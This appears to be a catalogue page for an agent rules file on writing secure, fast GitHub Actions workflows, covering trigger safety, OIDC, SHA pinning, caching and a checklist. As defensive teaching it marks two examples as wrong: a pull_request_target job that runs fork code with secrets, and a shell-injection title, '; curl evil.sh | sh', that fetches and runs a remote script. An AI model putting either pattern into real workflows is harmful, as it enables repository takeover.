Claude Fable 5.1 & GPT-6 Astra packages are live

Github Actions

Free · MIT

GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable…

200 lines8.0 KB Sarvam Ai DevOps
Target models
Sarvam-105BSarvam-30BSarvam FamilyFuture Sarvam Models
Name
github-actions
Category
DevOps
Description
GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable workflows.
License
MIT
Author
Agent.md maintainers
Last verified
2026-08-23
Reviewed by
unreviewed

#Locale

Examples use Indian conventions: ₹ amounts, IST, dd/mm/yyyy, Aadhaar and DPDP Act where a standard mentions identity or privacy law. Keep them when you copy an example.


#Purpose

Rules specific to GitHub Actions. General pipeline design is DevOps/cicd; this covers the platform's own behaviours — particularly the trigger and permission model, which is where its real vulnerabilities live.


#Triggers decide who can run your secrets

TriggerRuns asSecretsSafe with untrusted code
pushThe repositoryYesn/a
pull_requestThe merge ref, no write token, no secrets for forksNo (forks)Yes
pull_request_targetThe base ref, with write token and secretsYesNo
workflow_runThe repositoryYesOnly with care
issue_commentThe repositoryYesNo

pull_request_target combined with checking out the pull request head is a repository takeover. It runs untrusted code with your secrets and a write token:

yaml
# ❌ Never. The fork's code executes with full repository credentials.
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with: { ref: ${{ github.event.pull_request.head.sha }} }
  - run: npm ci && npm test                # arbitrary code from the fork

Use pull_request_target only to do something that does not execute fork code — labelling, commenting — and never check out the head ref in it.

Untrusted input reaches you in github.event.*: a pull-request title, a branch name or an issue body interpolated into a run: block is shell injection.

yaml
- run: echo "${{ github.event.pull_request.title }}"      # ❌ title: "; curl evil.sh | sh"
- env: { TITLE: ${{ github.event.pull_request.title }} }  # ✅ via env, quoted
  run: echo "$TITLE"

#Least privilege, and no static cloud keys

yaml
permissions:
  contents: read          # default for the whole workflow

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write     # only this job gets OIDC
  • Set permissions explicitly at the top. The default is broad, and a compromised action inherits it.
  • Grant elevated scopes per job, never workflow-wide.
  • Use OIDC federation to assume a cloud role rather than storing long-lived keys:
yaml
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
    aws-region: eu-west-1

There is then no static credential to leak, rotate, or find in a log. Scope the trust policy to the specific repository and ref — a policy trusting repo:org/* lets any repository in the organisation deploy your production.

GITHUB_TOKEN expires with the job; prefer it over a personal access token. Where a PAT is unavoidable, use a fine-grained one scoped to one repository.


#Pin everything

yaml
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683   # v4.2.2

A tag is mutable: @v4 can be repointed by the action's maintainer at any time, which is arbitrary code execution in a workflow holding your secrets. Pin by commit SHA with the version in a comment, and let Dependabot raise the updates.

Pin runner images to a version (ubuntu-24.04) rather than ubuntu-latest, which moves under you and breaks builds on a schedule you do not control.


#Make it fast

yaml
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true          # superseded pushes stop wasting runners
  • concurrency with cancel-in-progress on pull-request workflows; never on deploy workflows, where cancelling mid-deploy leaves a partial rollout.
  • Cache keyed on the lockfile hash, with a restore-key fallback:
yaml
- uses: actions/setup-node@v4
  with: { node-version: 22, cache: npm }     # built-in, keyed on the lockfile
  • Use paths filters so a documentation change does not run the full test matrix.
  • Shard slow suites across a matrix; fail-fast: false when you want every shard's result rather than the first failure.
  • Prefer npm ci over npm install, and keep actions/cache keys off branch names — a loosely keyed cache serves stale dependencies and produces failures that vanish on expiry.

#Structure and operations

  • Extract shared logic into reusable workflows (workflow_call) or composite actions. Copy-pasted YAML across ten repositories drifts immediately.
  • Use environment: for deployments to get required reviewers, wait timers and environment-scoped secrets.
  • Mask anything sensitive (::add-mask::) and never echo a secret to debug. Workflow logs are readable by anyone with repository read access.
  • Set timeout-minutes on every job. The default is six hours, and a hung job holds a runner for all of it.
  • Set defaults.run.shell: bash and start scripts with set -euo pipefail — otherwise a failing command in the middle of a multi-line run is ignored.

#Anti-patterns

Anti-patternWhy it failsFix
pull_request_target + checkout headFork code runs with your secretsNever combine them
github.event.* in a run: blockShell injection from a title or branch namePass through env:
No permissions blockBroad default token inherited by every actionExplicit least privilege
Workflow-wide elevated permissionsEvery job holds write accessPer-job scopes
Long-lived cloud keys in secretsA leak is permanent until noticedOIDC federation
OIDC trust policy scoped to an orgAny repository can deploy productionScope to repository and ref
Actions pinned by tagMutable; arbitrary code executionPin by SHA
ubuntu-latestChanges under you; scheduled breakagePin the runner image
No concurrency on PR workflowsSuperseded runs waste runnersCancel in progress
cancel-in-progress on deploysPartial rollout left behindNever on deploys
Cache keyed on branchStale dependencies; phantom failuresKey on the lockfile hash
No paths filtersDocs changes run the full matrixFilter by path
No timeout-minutesA hung job holds a runner for six hoursSet a timeout
Multi-line run without pipefailMid-script failures ignoredset -euo pipefail
Copy-pasted workflows across reposImmediate driftReusable workflows
Secrets echoed for debuggingReadable by anyone with repo accessMask; never print

#Checklist

  • Verify: No workflow combines pull_request_target with checking out the head ref
  • Verify: No github.event value is interpolated directly into a shell command
  • Verify: permissions is declared explicitly and defaults to contents: read
  • Verify: Elevated permissions are granted per job
  • Verify: Cloud access uses OIDC, scoped to this repository and ref
  • Verify: No long-lived cloud credentials are stored as secrets
  • Verify: Every third-party action is pinned by commit SHA
  • Verify: Runner images are pinned to a version
  • Verify: Pull-request workflows cancel superseded runs; deploy workflows do not
  • Verify: Dependency caches are keyed on lockfile hashes
  • Verify: Path filters prevent unnecessary matrix runs
  • Verify: Slow suites are sharded across a matrix
  • Verify: Every job sets timeout-minutes
  • Verify: Shell steps run with set -euo pipefail
  • Verify: Shared logic lives in reusable workflows, not copied YAML
  • Verify: Deployments use environments with required reviewers
  • Verify: No secret is printed or logged